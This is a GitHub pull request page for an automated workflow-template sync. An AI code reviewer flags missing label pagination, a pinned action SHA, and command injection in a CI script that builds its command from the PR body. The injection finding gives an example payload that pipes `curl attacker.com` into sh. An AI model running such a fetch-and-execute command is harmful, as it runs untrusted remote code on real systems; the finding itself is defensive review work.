chore: sync workflow templates - #112
Conversation
Automated sync from stranske/Workflows Template hash: 536a715df8b0 Changes synced from sync-manifest.yml
📝 WalkthroughWalkthroughAdds ChangesDeliberate-break test-quality gate
Runtime AC label-based merge guard
Action pin update and agent docs
Sequence Diagram(s)sequenceDiagram
participant Workflow as agents-73/agents-81 workflow
participant Guard as assertRuntimeAcMergeAllowed
participant GitHubAPI as github.rest.issues.listLabelsOnIssue
participant MergeAPI as github.rest.pulls.merge
Workflow->>Guard: assertRuntimeAcMergeAllowed({github, core, owner, repo, prNumber})
Guard->>GitHubAPI: listLabelsOnIssue(owner, repo, prNumber)
GitHubAPI-->>Guard: label list
Guard->>Guard: runtimeAcRequirement(labels)
alt no runtime AC labels
Guard-->>Workflow: return (allowed)
Workflow->>MergeAPI: pulls.merge(squash)
else runtime AC labels present
Guard-->>Workflow: throw Error(runtime_ac_merge_blocked)
Note over Workflow: merge not attempted
end
Estimated code review effort🎯 4 (Complex) | ⏱️ ~60 minutes Possibly related issues
🚥 Pre-merge checks | ✅ 4 | ❌ 1❌ Failed checks (1 warning)
✅ Passed checks (4 passed)
✏️ Tip: You can configure your own custom pre-merge checks in the settings. ✨ Finishing Touches📝 Generate docstrings
🧪 Generate unit tests (beta)
Comment |
|
Workflow state fingerprint for Keepalive Loop Reporter. Do not edit. |
|
Workflow state fingerprint for Agents Gate Followups. Do not edit. |
There was a problem hiding this comment.
Actionable comments posted: 3
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Inline comments:
In @.github/scripts/runtime_ac_merge_guard.js:
- Around line 63-77: The fetchPullRequestLabels function currently only fetches
one page of labels with per_page: 100, which will miss required runtime-AC
labels if a PR has more than 100 labels. Replace the current single-page fetch
call with the paginate method by using
client.paginate(client.rest.issues.listLabelsOnIssue, params) where params
contains the owner, repo, and issue_number. Update the return statement to
directly return the flattened array from paginate() instead of accessing
response.data, since paginate() returns an array of items rather than a response
object with a data property. This ensures all labels are retrieved regardless of
pagination.
In @.github/workflows/agents-guard.yml:
- Line 114: The setup-api-client action references at two locations are pinned
to a specific commit SHA that diverges from the authoritative source in
stranske/Workflows, which uses `@v1`. Update both uses statements for
setup-api-client from the commit SHA pin
d68de1904bcdbe16bfe2462b73aa18f41f8a0a47 to `@v1` to align with the source
template. If the commit pin is intentional for a specific reason, add an inline
comment above the uses statement documenting the controlled reason for the
deviation. Since this is a synced workflow, ensure any changes are made in the
source template location within stranske/Workflows.
In `@scripts/check_deliberate_break.py`:
- Around line 133-151: The `_run()` function accepts an arbitrary `command`
parameter that originates from user-controlled PR body input (parsed at the call
site around line 91), which is then passed directly to subprocess.run() allowing
execution of any binary. Restrict command execution to a predefined set of
allowed commands or derive the command only from the test_id parameter instead
of accepting arbitrary command input from the PR description. Implement this
validation either by modifying the `_run()` function to only accept specific
predefined commands or by changing the command construction logic at the call
site to ensure commands are built from safe sources like test_id rather than
directly from user input.
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: Organization UI
Review profile: ASSERTIVE
Plan: Pro Plus
Run ID: 996d1209-be21-4d9d-84a9-8e31c3b63d7b
📒 Files selected for processing (8)
.github/scripts/gate_summary.py.github/scripts/runtime_ac_merge_guard.js.github/workflows/agents-73-codex-belt-conveyor.yml.github/workflows/agents-81-gate-followups.yml.github/workflows/agents-guard.ymlAGENTS.mdCLAUDE.mdscripts/check_deliberate_break.py
🔗 Linked repositories identified
CodeRabbit considers these linked repositories for cross-repo context during reviews:
stranske/Workflows(auto-detected)stranske/Template(auto-detected)
📜 Review details
🧰 Additional context used
📓 Path-based instructions (5)
.github/workflows/*.{yml,yaml}
📄 CodeRabbit inference engine (.github/copilot-instructions.md)
startup_failurein GitHub Actions workflows with zero jobs indicates GitHub couldn't parse the workflow; check for invalid YAML syntax, conflictingpermissions:blocks onworkflow_callreusable workflows, invalid permission scopes, or circular workflow references
Files:
.github/workflows/agents-guard.yml.github/workflows/agents-73-codex-belt-conveyor.yml.github/workflows/agents-81-gate-followups.yml
**/.github/workflows/*.yml
📄 CodeRabbit inference engine (AGENTS.md)
Reference reusable workflows with
@mainunless intentionally pinning to an exact commit SHA for a controlled reason
Files:
.github/workflows/agents-guard.yml.github/workflows/agents-73-codex-belt-conveyor.yml.github/workflows/agents-81-gate-followups.yml
.github/workflows/**/*.yml
📄 CodeRabbit inference engine (CLAUDE.md)
Reference reusable workflows with
@mainby default unless intentionally pinning to an exact commit SHA for a controlled reason.
Files:
.github/workflows/agents-guard.yml.github/workflows/agents-73-codex-belt-conveyor.yml.github/workflows/agents-81-gate-followups.yml
.github/workflows/agents-*.yml
📄 CodeRabbit inference engine (CLAUDE.md)
Synced workflows (
agents-*.yml), prompts, scripts, and consumer docs are managed through.github/sync-manifest.ymlin Workflows and should be fixed in Workflows first, not locally.
Files:
.github/workflows/agents-guard.yml.github/workflows/agents-73-codex-belt-conveyor.yml.github/workflows/agents-81-gate-followups.yml
**/*.py
📄 CodeRabbit inference engine (.github/copilot-instructions.md)
For Manager-Database repository: use Prefect 2.x and import schedules from
prefect.client.schemas.schedules
Files:
scripts/check_deliberate_break.py
🧠 Learnings (1)
📓 Common learnings
Learnt from: CR
Repo: stranske/Fine-Art-Archive
Timestamp: 2026-06-20T01:47:15.386Z
Learning: Evaluate claims, designs, and instructions on the merits before agreeing, including from the orchestrator and users. Lead with the strongest objection when something is wrong, weaker than an alternative, or missing. State confidence and flag uncertainty.
Learnt from: CR
Repo: stranske/Fine-Art-Archive
Timestamp: 2026-06-20T01:47:15.386Z
Learning: Repository-specific configuration and workflow logic should only be carried locally; most workflow logic should live in `stranske/Workflows`
Learnt from: CR
Repo: stranske/Fine-Art-Archive
Timestamp: 2026-06-20T01:47:15.386Z
Learning: For infrastructure work, follow the source-of-truth order: (1) `stranske/Workflows` root docs, (2) `stranske/Workflows/docs/INTEGRATION_GUIDE.md` and `docs/ops/CONSUMER_REPO_MAINTENANCE.md`, (3) consumer sync source in templates, (4) local repo-specific files
Learnt from: CR
Repo: stranske/Fine-Art-Archive
Timestamp: 2026-06-20T01:47:15.386Z
Learning: `ci.yml` and `autofix-versions.env` are repo-specific files and should be edited locally
Learnt from: CR
Repo: stranske/Fine-Art-Archive
Timestamp: 2026-06-20T01:47:15.386Z
Learning: `pr-00-gate.yml` is a create-only standard file that should be kept aligned with the standard gate in `stranske/Workflows` unless the repo has a documented reason to diverge
Learnt from: CR
Repo: stranske/Fine-Art-Archive
Timestamp: 2026-06-20T01:47:15.386Z
Learning: Synced workflows, prompts, scripts, and consumer docs are managed through `.github/sync-manifest.yml` in `stranske/Workflows`; do not edit these locally
Learnt from: CR
Repo: stranske/Fine-Art-Archive
Timestamp: 2026-06-20T01:47:15.386Z
Learning: Before editing local workflow infrastructure, evaluate whether the work belongs in `stranske/Workflows` instead, particularly for changes affecting reusable workflows, agent prompts, routing, keepalive/autofix/verifier behavior, synced workflow files, or synced scripts/docs
Learnt from: CR
Repo: stranske/Fine-Art-Archive
Timestamp: 2026-06-20T01:47:15.386Z
Learning: Keep `AGENTS.md` materially aligned with `CLAUDE.md`; differences should only be agent-specific execution notes, not different repository rules
Learnt from: CR
Repo: stranske/Fine-Art-Archive
Timestamp: 2026-06-20T01:47:25.269Z
Learning: Repository workflow logic should live in `stranske/Workflows`, not in the consumer repo. Consumer repos should only carry repo-specific configuration.
Learnt from: CR
Repo: stranske/Fine-Art-Archive
Timestamp: 2026-06-20T01:47:25.269Z
Learning: Follow this source-of-truth order for infrastructure work: (1) `stranske/Workflows` root docs, (2) integration guides, (3) consumer sync source templates, (4) local repo-specific files.
Learnt from: CR
Repo: stranske/Fine-Art-Archive
Timestamp: 2026-06-20T01:47:25.269Z
Learning: Before editing local workflow infrastructure, evaluate whether the work belongs in `stranske/Workflows` instead—especially changes affecting reusable workflows, agent prompts, routing, keepalive/autofix behavior, synced files, or synced scripts/docs.
Learnt from: CR
Repo: stranske/Fine-Art-Archive
Timestamp: 2026-06-20T01:47:25.269Z
Learning: Your role is to act as a critical evaluator: correct judgment over agreement. Evaluate claims, designs, and instructions on merits; flag problems plainly without softening them, and state your confidence levels.
Learnt from: CR
Repo: stranske/Fine-Art-Archive
Timestamp: 2026-06-20T01:47:25.269Z
Learning: Keep `CLAUDE.md` materially aligned with `AGENTS.md`. Differences should only be agent-specific execution notes, not different repository rules.
🪛 ast-grep (0.43.0)
scripts/check_deliberate_break.py
[error] 143-150: Command coming from incoming request
Context: subprocess.run(
list(command),
cwd=cwd,
text=True,
capture_output=True,
env=env,
timeout=timeout,
)
Note: [CWE-20].
(subprocess-from-request)
[error] 159-166: Command coming from incoming request
Context: subprocess.run(
["git", *args],
cwd=cwd,
check=True,
text=True,
capture_output=True,
timeout=timeout,
)
Note: [CWE-20].
(subprocess-from-request)
[error] 190-196: Command coming from incoming request
Context: subprocess.run(
["git", "archive", "--format=tar", base],
cwd=cwd,
check=True,
capture_output=True,
timeout=DEFAULT_TIMEOUT_SECONDS,
)
Note: [CWE-20].
(subprocess-from-request)
[info] 329-329: use jsonify instead of json.dumps for JSON output
Context: json.dumps(_json_result(VERDICT_SKIPPED, reason="no deliberate-break marker"))
Note: Security best practice.
(use-jsonify)
[info] 341-341: use jsonify instead of json.dumps for JSON output
Context: json.dumps(result, sort_keys=True)
Note: Security best practice.
(use-jsonify)
[error] 143-150: Use of unsanitized data to create processes
Context: subprocess.run(
list(command),
cwd=cwd,
text=True,
capture_output=True,
env=env,
timeout=timeout,
)
Note: [CWE-78].
(os-system-unsanitized-data)
🔀 Multi-repo context stranske/Template, stranske/Workflows
Perfect! I now have comprehensive cross-repository context. Let me compile my findings:
Linked repositories findings
stranske/Template
Critical Discovery: The Template repository is currently OUT OF SYNC with the Workflows source
gate_summary.py (Breaking Change):
- [::stranske/Template::]
gate_summary.pyline 24: Missing thetest_quality_result: str = "skipped"field fromSummaryContextclass - [::stranske/Template::]
gate_summary.py: Function signatures do NOT includetest_quality_resultparameter in_append_job_table()and_active_lines() - [::stranske/Workflows::] Workflows source version (line 24, 247, 270) includes this field and all callsites pass it
- Impact: When Template's workflows sync this update, calling
_append_job_table()and_active_lines()with the new signatures (which now requiretest_quality_result) will fail if any downstream code relies on the old signatures
pr-00-gate.yml (Missing Integration):
- [::stranske/Template::]
.github/workflows/pr-00-gate.ymldoes NOT setTEST_QUALITY_RESULTenvironment variable - [::stranske/Workflows::] Workflows version (line 642) sets
TEST_QUALITY_RESULT: ${{ needs.test-quality.result || 'skipped' }} - [::stranske/Workflows::] The test-quality job is defined (line 314+) but Template's pr-00-gate has no matching job definition
- Impact: When synced, Template will have a new environment variable dependency and a new
test-qualityjob that needs to be coordinated with the gate_summary.py changes
runtime_ac_merge_guard.js (New File):
- [::stranske/Template::]
.github/scripts/runtime_ac_merge_guard.jsdoes NOT exist - [::stranske/Workflows::] Source file exists (137 lines, 3567 bytes)
- [::stranske/Workflows::]
templates/consumer-repo/.github/workflows/agents-81-gate-followups.yml(line 1555, 1567, 1736) integrates it:assertRuntimeAcMergeAllowed()is called with merged PR context - [::stranske/Template::]
.github/workflows/agents-81-gate-followups.ymlexists (1777 lines) but does NOT have the merge guard integration - Impact: Template's agents-81 workflow will be updated to call a new guard function that blocks merges for runtime-acceptance PRs
check_deliberate_break.py (New File):
- [::stranske/Template::]
scripts/check_deliberate_break.pydoes NOT exist - [::stranske/Workflows::] Source file exists (347 lines, 11192 bytes)
- [::stranske/Workflows::]
templates/consumer-repo/.github/workflows/pr-00-gate.yml(line 348, 350) conditionally calls it:if: ${{ hashFiles('scripts/check_deliberate_break.py') != '' }} - [::stranske/Template::]
.github/workflows/pr-00-gate.ymldoes NOT have this check - Impact: When synced, Template's pr-00-gate will gain a conditional check for deliberate-break acceptance tests
agents-73-codex-belt-conveyor.yml (Missing):
- [::stranske/Template::] Workflow does NOT exist in Template
- [::stranske/Workflows::] Source workflow exists with runtime_ac_merge_guard integration (line 194, 443)
- Impact: New workflow will be added with merge guard dependency
stranske/Workflows (Source Repository)
All new/updated components exist and are properly integrated:
- [::stranske/Workflows::]
.github/scripts/gate_summary.py(483 lines) includes test_quality_result handling - [::stranske/Workflows::]
.github/scripts/runtime_ac_merge_guard.js(137 lines) exportsassertRuntimeAcMergeAllowed() - [::stranske/Workflows::]
scripts/check_deliberate_break.py(347 lines) implements deliberate-break verification - [::stranske/Workflows::]
templates/consumer-repo/.github/workflows/pr-00-gate.ymlsets TEST_QUALITY_RESULT environment variable (line 642) - [::stranske/Workflows::]
.github/sync-manifest.ymldeclares all three files for consumer syncing
🔇 Additional comments (18)
AGENTS.md (1)
5-8: LGTM!CLAUDE.md (1)
5-8: LGTM!.github/scripts/runtime_ac_merge_guard.js (1)
1-60: LGTM!Also applies to: 62-62, 86-137
.github/workflows/agents-73-codex-belt-conveyor.yml (1)
195-195: LGTM!Also applies to: 444-444, 456-464
.github/workflows/agents-81-gate-followups.yml (1)
1555-1555: LGTM!Also applies to: 1567-1567, 1736-1744
scripts/check_deliberate_break.py (8)
1-34: LGTM!
37-47: LGTM!
49-66: LGTM!
69-127: LGTM!
154-167: LGTM!
190-216: LGTM!
219-309: LGTM!
312-347: LGTM!Note: The static analysis hints suggesting
jsonifyinstead ofjson.dumpsare false positives—jsonifyis a Flask function for HTTP responses, not applicable to this CLI script..github/scripts/gate_summary.py (5)
12-24: LGTM!
242-257: LGTM!
260-291: LGTM!
294-411: LGTM!
421-448: LGTM!
| async function fetchPullRequestLabels({ github, owner, repo, prNumber, withRetry }) { | ||
| if (!github || !github.rest || !github.rest.issues) { | ||
| throw new Error('GitHub client is required to evaluate runtime AC merge labels.'); | ||
| } | ||
| const call = (client = github) => | ||
| client.rest.issues.listLabelsOnIssue({ | ||
| owner, | ||
| repo, | ||
| issue_number: prNumber, | ||
| per_page: 100, | ||
| }); | ||
|
|
||
| try { | ||
| const response = withRetry ? await withRetry(call) : await call(); | ||
| return Array.isArray(response && response.data) ? response.data : []; |
There was a problem hiding this comment.
🧩 Analysis chain
🌐 Web query:
Does GitHub REST API endpoint for listing issue/PR labels (issues.listLabelsOnIssue) require pagination beyond per_page: 100 to retrieve all labels?
💡 Result:
Yes, the GitHub REST API endpoint GET /repos/{owner}/{repo}/issues/{issue_number}/labels supports pagination and may require it if an issue has more than 100 labels [1][2][3]. While the API documentation allows for a per_page parameter with a maximum value of 100, it does not guarantee that all labels will be returned in a single request [1][4]. If the number of labels exceeds the per_page limit, the API response will include a link header providing the URL for the next page of results [5]. To retrieve all labels, you must follow these pagination links until no further "next" links are provided [5]. [1][2][3]
Citations:
- 1: https://docs.github.com/en/rest/issues/labels
- 2: https://docs.github.com/en/enterprise-server@3.21/rest/issues/labels?apiVersion=2026-03-10
- 3: https://docs.github.com/en/enterprise-server@3.20/rest/issues/labels?apiVersion=2022-11-28
- 4: https://help.github.com/en/enterprise-server@3.7/rest/issues/labels
- 5: https://github.com/github/docs/blob/main/content/rest/using-the-rest-api/using-pagination-in-the-rest-api.md
🏁 Script executed:
#!/bin/bash
# First, verify the file exists and check its size
wc -l .github/scripts/runtime_ac_merge_guard.js 2>/dev/null || echo "File not found"
# Read lines 63-77 to verify the code matches
sed -n '63,77p' .github/scripts/runtime_ac_merge_guard.jsRepository: stranske/Fine-Art-Archive
Length of output: 665
🌐 Web query:
Octokit GitHub Actions client paginate method for listing all issues labels without limit
💡 Result:
To list all issue labels without limit using Octokit, use the octokit.paginate method. This method automatically follows the Link header in GitHub API responses to fetch all available pages, ensuring that no labels are omitted due to default pagination limits [1][2][3]. You can use either the endpoint path or the specific REST endpoint method as the first argument [2][4][5]. Example using the endpoint method: const allLabels = await octokit.paginate(octokit.rest.issues.listLabelsOnIssue, { owner: "owner-name", repo: "repo-name", issue_number: 123, per_page: 100, // Optional: increases items per request, reducing total API calls }); Example using the endpoint path: const allLabels = await octokit.paginate("GET /repos/{owner}/{repo}/issues/{issue_number}/labels", { owner: "owner-name", repo: "repo-name", issue_number: 123, per_page: 100, }); Key implementation details: - Automatic Pagination: octokit.paginate continues requesting until no more pages remain (as indicated by the absence of a rel="next" link header) [2][3][6]. - Efficiency: While you can set per_page to 100 to reduce the number of network requests, the method will still handle all pages automatically regardless of the per_page setting [2][7][6]. - Return Value: Unlike standard octokit.request calls, octokit.paginate returns a single flattened array containing all the items retrieved across all pages [8][3][5]. - Memory Usage: If you are dealing with a massive number of items, you can alternatively use octokit.paginate.iterator to process results page-by-page, which is more memory-efficient [3][4].
Citations:
- 1: fix: Ensure all label pages are traversed and remove per_page from API and tests mheap/github-action-required-labels#91
- 2: https://github.com/octokit/plugin-paginate-rest.js/tree/main
- 3: https://docs.github.com/rest/using-the-rest-api/using-pagination-in-the-rest-api
- 4: https://github.com/octokit/octokit.js/blob/main/README.md
- 5: https://octokit.github.io/rest.js/v22/
- 6: https://www.npmjs.com/package/@octokit/plugin-paginate-rest
- 7: https://github.com/babynata/rustclaw/blob/6c3078168ed24615819661d20d5bec7ae553583b/.github/workflows/labeler.yml
- 8: https://actions-cool.github.io/octokit-rest/guide/05_pagination/
Paginate label retrieval to prevent false-negative runtime-AC checks.
fetchPullRequestLabels currently reads only one page of labels. If a PR has more than 100 labels, required runtime-AC labels will be missed and merge may be incorrectly allowed.
The fix should use the paginate() method to automatically fetch all label pages. The proposed implementation is correct—use client.paginate(client.rest.issues.listLabelsOnIssue, params) and update the return statement to handle the flattened array directly (since paginate() returns an array, not a response object with a data property).
Proposed fix
async function fetchPullRequestLabels({ github, owner, repo, prNumber, withRetry }) {
if (!github || !github.rest || !github.rest.issues) {
throw new Error('GitHub client is required to evaluate runtime AC merge labels.');
}
- const call = (client = github) =>
- client.rest.issues.listLabelsOnIssue({
- owner,
- repo,
- issue_number: prNumber,
- per_page: 100,
- });
+ const params = {
+ owner,
+ repo,
+ issue_number: prNumber,
+ per_page: 100,
+ };
+ const call = (client = github) => {
+ if (typeof client.paginate === 'function') {
+ return client.paginate(client.rest.issues.listLabelsOnIssue, params);
+ }
+ return client.rest.issues.listLabelsOnIssue(params);
+ };
try {
const response = withRetry ? await withRetry(call) : await call();
- return Array.isArray(response && response.data) ? response.data : [];
+ if (Array.isArray(response)) return response;
+ return Array.isArray(response && response.data) ? response.data : [];
} catch (error) {📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| async function fetchPullRequestLabels({ github, owner, repo, prNumber, withRetry }) { | |
| if (!github || !github.rest || !github.rest.issues) { | |
| throw new Error('GitHub client is required to evaluate runtime AC merge labels.'); | |
| } | |
| const call = (client = github) => | |
| client.rest.issues.listLabelsOnIssue({ | |
| owner, | |
| repo, | |
| issue_number: prNumber, | |
| per_page: 100, | |
| }); | |
| try { | |
| const response = withRetry ? await withRetry(call) : await call(); | |
| return Array.isArray(response && response.data) ? response.data : []; | |
| async function fetchPullRequestLabels({ github, owner, repo, prNumber, withRetry }) { | |
| if (!github || !github.rest || !github.rest.issues) { | |
| throw new Error('GitHub client is required to evaluate runtime AC merge labels.'); | |
| } | |
| const params = { | |
| owner, | |
| repo, | |
| issue_number: prNumber, | |
| per_page: 100, | |
| }; | |
| const call = (client = github) => { | |
| if (typeof client.paginate === 'function') { | |
| return client.paginate(client.rest.issues.listLabelsOnIssue, params); | |
| } | |
| return client.rest.issues.listLabelsOnIssue(params); | |
| }; | |
| try { | |
| const response = withRetry ? await withRetry(call) : await call(); | |
| if (Array.isArray(response)) return response; | |
| return Array.isArray(response && response.data) ? response.data : []; |
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In @.github/scripts/runtime_ac_merge_guard.js around lines 63 - 77, The
fetchPullRequestLabels function currently only fetches one page of labels with
per_page: 100, which will miss required runtime-AC labels if a PR has more than
100 labels. Replace the current single-page fetch call with the paginate method
by using client.paginate(client.rest.issues.listLabelsOnIssue, params) where
params contains the owner, repo, and issue_number. Update the return statement
to directly return the flattened array from paginate() instead of accessing
response.data, since paginate() returns an array of items rather than a response
object with a data property. This ensures all labels are retrieved regardless of
pagination.
| steps.eligibility.outputs.should-run == 'true' && | ||
| steps.api_client_base.outputs.available != 'true' | ||
| uses: "stranske/Workflows/.github/actions/setup-api-client@6deed4d3937adab2370b4ddf96046ed295efe68f" # v1 | ||
| uses: "stranske/Workflows/.github/actions/setup-api-client@d68de1904bcdbe16bfe2462b73aa18f41f8a0a47" # v1 |
There was a problem hiding this comment.
🧩 Analysis chain
🏁 Script executed:
#!/bin/bash
# Check Workflows source for the setup-api-client pin and any documented reason
# Search for setup-api-client reference in Workflows templates
git clone https://github.com/stranske/Workflows.git /tmp/workflows-source 2>/dev/null || true
if [ -d /tmp/workflows-source ]; then
echo "=== Searching Workflows source for setup-api-client references ==="
rg -n "setup-api-client" /tmp/workflows-source/.github/workflows/ \
-A 2 -B 2 --type yaml
echo ""
echo "=== Checking templates/consumer-repo for setup-api-client ==="
rg -n "setup-api-client" /tmp/workflows-source/templates/consumer-repo/.github/workflows/ \
-A 2 -B 2 --type yaml 2>/dev/null || echo "Not found in consumer templates"
fiRepository: stranske/Fine-Art-Archive
Length of output: 50382
🏁 Script executed:
#!/bin/bash
# Get the agents-guard.yml file and check lines 114 and 183
echo "=== agents-guard.yml lines around 114 and 183 ==="
sed -n '110,120p' .github/workflows/agents-guard.yml | cat -n
echo ""
sed -n '179,189p' .github/workflows/agents-guard.yml | cat -n
echo ""
echo "=== Full setup-api-client references in agents-guard.yml ==="
rg -n "setup-api-client" .github/workflows/agents-guard.yml -B 2 -A 2Repository: stranske/Fine-Art-Archive
Length of output: 3456
🏁 Script executed:
#!/bin/bash
# Check if agents-guard.yml exists in Workflows and its setup-api-client pins
echo "=== Checking Workflows templates for agents-guard pattern ==="
if [ -f ".github/workflows/agents-guard.yml" ]; then
echo "Found agents-guard.yml in Workflows"
rg -n "setup-api-client" .github/workflows/agents-guard.yml -B 2 -A 2
else
echo "agents-guard.yml not found in Workflows root .github/workflows"
fi
echo ""
echo "=== Checking consumer template ==="
if [ -f "templates/consumer-repo/.github/workflows/agents-guard.yml" ]; then
echo "Found in consumer template"
rg -n "setup-api-client" templates/consumer-repo/.github/workflows/agents-guard.yml -B 2 -A 2
else
echo "Not found in consumer template"
fiRepository: stranske/Workflows
Length of output: 4364
Pin to commit SHA diverges from Workflows source and lacks documented reason.
Lines 114 and 183 pin setup-api-client to d68de1904bcdbe16bfe2462b73aa18f41f8a0a47, but the Workflows source repository uses @v1 instead. The synced consumer template has diverged from the authoritative source. Since this is a synced workflow, the fix must be applied in stranske/Workflows — specifically in templates/consumer-repo/.github/workflows/agents-guard.yml — to align it back with the source (stranske/Workflows/.github/workflows/agents-guard.yml), which correctly uses @v1.
Change both pins to @v1 to match the Workflows source, or if the commit pin is intentional, add an inline comment documenting the controlled reason for the deviation.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In @.github/workflows/agents-guard.yml at line 114, The setup-api-client action
references at two locations are pinned to a specific commit SHA that diverges
from the authoritative source in stranske/Workflows, which uses `@v1`. Update both
uses statements for setup-api-client from the commit SHA pin
d68de1904bcdbe16bfe2462b73aa18f41f8a0a47 to `@v1` to align with the source
template. If the commit pin is intentional for a specific reason, add an inline
comment above the uses statement documenting the controlled reason for the
deviation. Since this is a synced workflow, ensure any changes are made in the
source template location within stranske/Workflows.
Source: Coding guidelines
| def _run( | ||
| command: tuple[str, ...], | ||
| cwd: Path, | ||
| *, | ||
| timeout: int = DEFAULT_TIMEOUT_SECONDS, | ||
| ) -> subprocess.CompletedProcess[str]: | ||
| env = os.environ.copy() | ||
| pythonpath = str(cwd) | ||
| if env.get("PYTHONPATH"): | ||
| pythonpath = pythonpath + os.pathsep + env["PYTHONPATH"] | ||
| env["PYTHONPATH"] = pythonpath | ||
| return subprocess.run( | ||
| list(command), | ||
| cwd=cwd, | ||
| text=True, | ||
| capture_output=True, | ||
| env=env, | ||
| timeout=timeout, | ||
| ) |
There was a problem hiding this comment.
User-controlled command execution from PR body.
The command parameter parsed from the PR body marker (line 91) can specify arbitrary executables. While shell=False prevents shell metacharacter injection, an attacker can still execute any binary with arguments:
deliberate-break: test=x test-file=y.py break-file=z.py command="/usr/bin/python -c 'import os; os.system(\"curl attacker.com|sh\")'"In many PR CI configurations, authors can already execute code via test files, so this may be acceptable risk. However, this lowers the barrier from "commit malicious code" to "edit PR description."
Consider restricting to a predefined command set or requiring the test invocation be derived only from test_id:
🛡️ Suggested restriction to pytest-only execution
- command = tuple(shlex.split(command_text)) if command_text else _pytest_command(test_id)
+ # Custom commands disabled for security; always use pytest
+ if command_text:
+ print(f"Warning: custom command ignored for security; using pytest", file=sys.stderr)
+ command = _pytest_command(test_id)🧰 Tools
🪛 ast-grep (0.43.0)
[error] 143-150: Command coming from incoming request
Context: subprocess.run(
list(command),
cwd=cwd,
text=True,
capture_output=True,
env=env,
timeout=timeout,
)
Note: [CWE-20].
(subprocess-from-request)
[error] 143-150: Use of unsanitized data to create processes
Context: subprocess.run(
list(command),
cwd=cwd,
text=True,
capture_output=True,
env=env,
timeout=timeout,
)
Note: [CWE-78].
(os-system-unsanitized-data)
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@scripts/check_deliberate_break.py` around lines 133 - 151, The `_run()`
function accepts an arbitrary `command` parameter that originates from
user-controlled PR body input (parsed at the call site around line 91), which is
then passed directly to subprocess.run() allowing execution of any binary.
Restrict command execution to a predefined set of allowed commands or derive the
command only from the test_id parameter instead of accepting arbitrary command
input from the PR description. Implement this validation either by modifying the
`_run()` function to only accept specific predefined commands or by changing the
command construction logic at the call site to ensure commands are built from
safe sources like test_id rather than directly from user input.
Sync Summary
Files Updated
Files Skipped
Review Checklist
Source: stranske/Workflows
Source SHA:
deacb8ee2852a7c22fe229645468776f35921628Template hash:
536a715df8b0Sync branch:
sync/workflows-536a715df8b0Consumer repo:
stranske/Fine-Art-ArchiveManifest:
.github/sync-manifest.ymlSummary by CodeRabbit
Documentation
Chores